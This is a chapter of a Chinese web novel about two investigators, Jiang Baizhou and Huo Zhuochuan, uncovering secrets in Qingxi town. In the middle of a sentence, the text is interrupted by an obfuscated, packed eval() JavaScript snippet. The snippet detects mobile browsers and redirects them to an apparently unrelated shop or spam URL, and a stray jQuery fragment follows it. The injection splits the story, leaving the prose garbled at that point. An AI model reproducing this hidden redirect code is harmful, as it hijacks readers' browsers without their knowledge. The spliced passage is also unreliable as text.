“走吧。”姜柏舟深深的看了一眼那双眼睛,转身向霍酌川低声道,“该干正事了。”
霍酌川皱了皱眉头,他看看那条小巷,再看看姜柏舟绷着的面庞,一时间有些疑惑姜柏舟为什么不继续问下去,明明这乞丐的态度看起来已经松懈下来了。但他知道姜柏舟最不喜的就是身边人质疑她的作为,便只是跟在她的身边,低声说道:“他在撒谎。”
“我知道,”姜柏舟漫不经心的拾起落在肩头的青叶,指尖慢条斯理地划过这蜿蜒的脉络,掀起眼皮在霍酌川脸上落下淡淡的一瞥,不带有丝毫情感,“很明显,不是吗?”她勾唇一笑,冲着这叶子轻轻一吹,冷眼旁观着这抹绿意在青石街道上慢慢悠悠地闲逛着。
“他说的这些,真假参半罢了。只不过有一点,他有些地方,描述的很详细,或许不是在胡编乱造,可能确有此事,只是这主人公或许要换上一换。”等到那抹绿彻底的消失在眼前,姜柏舟这才微微偏过头去,舍得将眼神全给了霍酌川,秾艳的眉眼半掩在垂落的发丝中,闪着似笑非笑的光芒,“而且他最后那句......”
姜柏舟没有将话全说出口,适时止了话,毕竟街上人多眼杂的,保不齐暗地里就有人在监视着他们。
不过,霍酌川知晓她话里的意思,这人虽举止古怪,但言语间透漏的却让人不得不惊醒。
随着时间渐渐流逝,这天边原本毒辣的日头也逐渐暗淡了下来,只留下些许的光晕缠绕在那道赤橙中,慢吞吞地朝着西边躲去,将青溪镇的影子逐渐拉长。
街道旁的灯笼也逐渐亮了起来,晕成一团团泛着黄意的光晕,模样却与早晨那般景色别无二致。只是这些光团藏在这大街小巷里面,就好似一只只暗中窥探的眼睛,稍不留神便要将与它对视的人拆吃入腹。药草的气息也变得愈发浓烈起来,熏得人更是喘不过气。
两个人就这么慢慢悠悠的闲逛着,主要是姜柏舟,丝毫看不出半分着急的模样,好似那游山玩水的旅人一般,就连这个“便宜弟弟”都被她给抛诸脑后了。
姜柏舟一会闻闻摊子上的药草,指着那草药说品相不行,激的这小贩险些要和她拼了命;一边又跑去逗逗窝在墙角的野猫,把那小家伙都给吓跑了才罢休。
霍酌川就这么瞧着姜柏舟的一举一动,也不吭声,跟在她身后去善后。两人就这么把整个青溪镇都给逛了遍,等到天快要彻底暗了下来,才终于是停下了步子寻了个客栈落了脚。
这客栈倒是坐落了好位置,占地面积极大,自二楼房间推窗而看,可以远处那条蜿蜒的河水穿流而过,上面漂浮的是点点渔火,在黑夜的衬托下,愈发璀璨夺目。
姜柏舟懒散地斜倚在窗沿上,漫不经心地伸出修长白皙的手指随意的拨弄着窗边悬挂着的风铃。这也算是店家的一个巧思,给每间房的窗户上都挂上了一个青铜制成的风铃,上面雕刻着样式精巧漂亮的图案,每间屋子风铃的图案全都不一样。
不过,也不知道是巧合还是有意的,姜柏舟这间屋子的风铃,正正好是雕刻的木槿花。
细长的丝线亲昵的缠绕在姜柏舟的指间,这风铃随着她的动作有一搭没一搭的晃动着,而上面那漂亮的木槿花,也一同在风中摇曳盛开着。
“叮当——叮当——叮当——”
尖锐的猫叫声乍然响起,伴着阵阵铃声,轻而易举的搅碎了这寂静的夜晚,愈发可怖起来。
夜晚的青溪镇与白日里头的格外不同,家家户户紧闭房门,只留下那空洞洞的窗户,和大门口,惨白的灯笼,似要将“活人”一口口,扒皮抽骨、吞吃殆尽。白日里那股子甜腻的草药味,丝毫也愈发的浓烈了起来。裹挟着来自河道的土腥味,将这整座青溪镇,一同埋没。
茫茫天地间,再无半点的生气了。
一道窗子,又似乎将这片天地分割成了两截儿。昏黄的烛光肆意地跳跃着,满心欢喜地落在了姜柏舟挺拔的身姿,细细地描摹着这副得天独厚的颜色。潋滟含情的桃花眼,在烛火的掩映下,落在这黢黑的窗外,与那藏在暗处的恢诡谲怪,对上了视线。
“喵——!”
一只夜猫猛地从草丛中窜出,泛着绿光的眼睛幽幽地盯着姜柏舟,就好似地狱来的亡魂,要向这喧闹的人世,讨个公道一般。过了好一阵子,这双眼睛,才又消失在了这片黑暗里。
姜柏舟嗤笑一声,将手收了回来,任由这风铃的余音徐徐飘散在了这摊晦涩泥潭里。将白日里的种种此时此刻全都浮现在她的脑海中,纠缠在了一起。她从袖子里小心的取出那张字条,抬步走到油灯旁边,仔细的舒展开来,借着这烛火的残光细细端详。
粗糙泛黄的纸面上,还沾着些许油污,似乎隐约间可以嗅到一股鱼腥味。姜柏舟垂着眼眸检查这,翻来覆去看了个遍,这上面也只有简简单单的三个字——“林木槿”。
这三字写的格外的潦草,而且还带着明显的颤抖的痕迹,最刺眼的便是这“槿”字的最后一笔上,还晕开了一大团的墨迹,就仿佛这主人家是在极其危急的情况下写就的,而且她还面临着巨大的恐惧和威胁。
姜柏舟低声呢喃着这三个字,散开的发丝垂落在她的脸颊处,遮挡住那晦涩难懂的神情。
确保这纸条再无半分别的消息后,姜柏舟将其投入到火苗中。深沉的眼眸中映射出面前烛火,却无半点温度。白日里那些闪烁的言辞、惊惧的眼神、绣着木槿花的香囊,以及林氏药铺那古怪的氛围,在此刻通通凝聚成了这三个字,最终定格在了她最后见到的,那双亮的惊人的眼睛上。
“后山的木槿花开的正好,”姜柏舟从喉间滚出一道笑声,又冷又利,仿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091442|195435||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
若擦着剑鞘抽出的利刃,一剑便刺进了这深不见底的漩涡中,“原来是这样啊,我明白了。”
而就在这时,“咚、咚、咚”,屋外传来了三声敲门声。
姜柏舟略微收拾了一下,将散落的发丝拢在一起,随意地用木簪挽了个松松垮垮的发髻,便起身开门去。
门外不出所料,是霍酌川。
他依旧穿着白天那身玄色劲袍,收束的衣带勾勒出劲瘦的腰肢,发丝一丝不苟的拢在身后,清晰地露出那副清俊的面庞。走廊上微弱的烛光打在他低垂的眉眼上,姜柏舟隐约间,似乎能从这人身上品出一丝乖顺的意味。
姜柏舟意味不明的笑了一声,漫不经心的让开了门口的位置,勾了勾手让人进来。
霍酌川抬步走了进去,脚步落得极轻,仿佛一片叶子轻轻飘过一般。他没有四处乱看,目光克制有礼的放在了姜柏舟的身上,紧紧跟随着她的一举一动。
姜柏舟将一张图纸在桌上摊开,泛黄的纸页上面,被用墨色勾勒着山川地形,还有用朱砂标示出重要怪异的地方——那赫然是一张关于青溪镇的地形图。
白日里姜柏舟并不是在做些无用功,实际上,她是在观察青溪镇的整体布局以及奇异怪诞的地方,最终,绘制成面前这一物件。
霍酌川在一旁细细端详着这张地形图,这地图虽然简便,但却是将这青溪镇主要的几处全都勾画了出来,一笔一划,足见作画人的功底。
“全镇子都在缄默其口,这其中的隐情藏的过深,恐怕不是咱们能打听清楚的。”一不留神,霍酌川的指腹上便被粘上了些许朱砂。他垂下眼睫,用指尖轻轻蹭了蹭,却是将这抹艳红涂的更匀称了些。
姜柏舟又重新回到了窗子边,倚窗抱臂,斜睨着霍酌川的一系列举止,倦怠的笑起来。月光透过窗棂落在她的身上,勾勒出修长的轮廓:“既然活人说不出口,咱们便去问问那后山的止住草药,看看它们晓不晓得些内情。”
姜柏舟手上稍一用力,便将那窗边的青铜风铃扯了下来。她细细勾勒描摹着上面轮廓,眼中的趣味愈发浓烈。这青溪镇就像是一团迷雾,吞噬着每个想要探查真相的人,但越是这样,她便越是要将那些藏在暗处的老鼠全都揪出来,踩在脚下。
她瞥了眼杵在原地的霍酌川,随意的一抛,便将那风铃扔到了霍酌川的怀中。
“叮铃。”
一声脆响,在霍酌川的耳畔乍然响起,踩在了他心跳的间隙。他攥着手中带着凉意的风铃,看着上面精致的木槿花,联想起白日里那乞丐最后说的,心里头有了个谋算。他抬眸望向姜柏舟,眼睛直直地撞进了那双漂亮的桃花眼里,这里充斥着的,是他最熟悉的神色。而被月光笼罩簇拥的她,聪明、果决、大胆,像是一把锋芒毕露的利剑,让人想要臣服在她的脚下。